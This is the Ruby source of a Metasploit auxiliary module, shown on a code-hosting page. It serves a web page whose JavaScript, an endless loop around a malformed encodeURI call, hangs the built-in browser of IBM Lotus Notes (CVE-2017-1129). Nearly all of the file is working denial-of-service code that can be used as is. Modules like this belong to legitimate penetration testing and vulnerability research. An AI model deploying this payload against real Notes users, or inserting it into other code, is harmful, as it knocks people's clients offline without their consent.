Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/ibm_lotus_notes.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer78def initialize(info = {})9super(10update_info(11info,12'Name' => "IBM Notes encodeURI DOS",13'Description' => %q(14This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.15If successful, it could cause the Notes client to hang and have to be restarted.16),17'License' => MSF_LICENSE,18'Author' => [19'Dhiraj Mishra',20],21'References' => [22[ 'EDB', '42602'],23[ 'CVE', '2017-1129' ],24[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]25],26'DisclosureDate' => '2017-08-31',27'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],28'PassiveActions' => [ 'WebServer' ],29'DefaultAction' => 'WebServer'30)31)32end3334def run35exploit # start http server36end3738def setup39@html = %|40<html><head><title>DOS</title>41<script type="text/javascript">42while (true) try {43var object = { };44function d(d0) {45var d0 = (object instanceof encodeURI)('foo');46}47d(75);48} catch (d) { }49</script>50</head></html>51|52end5354def on_request_uri(cli, _request)55print_status('Sending response')56send_response(cli, @html)57end58end596061